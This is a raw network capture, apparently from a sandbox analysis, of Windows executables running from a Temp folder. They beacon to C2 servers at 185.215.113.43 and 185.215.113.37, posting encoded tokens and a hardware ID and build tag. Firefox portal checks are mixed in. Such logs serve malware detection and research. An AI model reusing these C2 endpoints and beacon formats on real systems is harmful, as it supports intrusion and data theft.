Oct 24, 2024 11:03:36.717892885 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:37.633369923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50050	34.107.221.82	80	7004	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:37.840668917 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50056	34.107.221.82	80	7004	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:38.506098986 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:03:39.096096992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72594 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:03:49.178349018 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 11:03:59.288785934 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50059	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:39.257671118 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:40.150825977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50060	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:41.674446106 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:42.581958055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50061	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:44.499011040 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:45.411760092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50062	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:46.974005938 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:47.906826019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50066	185.215.113.37	80	2388	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:49.176234961 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:03:50.080684900 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:03:50.084532976 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="hwid"C211416AD83D981579381------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build"doma------BKFHCGIDBAAFHIDHDAAE--
Oct 24, 2024 11:03:50.376080990 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50067	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:49.530709982 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:50.435585976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50068	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:51.954097986 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:52.868695974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50069	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:54.501041889 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:03:55.415734053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50070	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:56.948754072 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:03:57.880731106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50071	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:59.565274954 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:04:00.467216969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50072	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:00.652378082 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:04:01.943566084 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:04:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:04:01.944463015 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:04:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:04:01.950021982 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="build"doma------FHIIEHJKKECGCBFIIJDA--
Oct 24, 2024 11:04:02.239146948 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:04:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50073	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:02.082142115 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:04:03.004749060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50074	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:04.785242081 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:04:05.703628063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50075	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:07.246639967 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:04:08.162017107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50080	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:09.885788918 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:04:10.820667028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	50084	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:10.500237942 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:11.096558094 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60712 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:11.320621967 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:11.445734978 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60712 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:11.626194000 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:11.751061916 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60712 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:11.866550922 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:11.991544962 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60712 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
